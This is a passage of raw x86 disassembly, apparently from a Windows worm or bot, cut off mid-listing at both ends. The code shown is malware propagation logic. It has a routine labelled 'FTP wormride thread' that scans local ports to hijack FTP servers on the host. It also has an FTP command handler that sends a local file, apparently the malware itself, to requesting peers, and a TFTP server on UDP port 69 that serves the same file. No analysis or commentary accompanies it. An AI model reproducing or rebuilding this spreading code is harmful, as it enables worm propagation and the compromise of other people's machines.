eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DE00 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DE00 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset dword_41EAFC push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EAD8 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DA80 call sub_40D4AB add esp, 14h push 3E8h call dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call dword_417238 ; htons mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call dword_41722C ; select test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DE00 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp 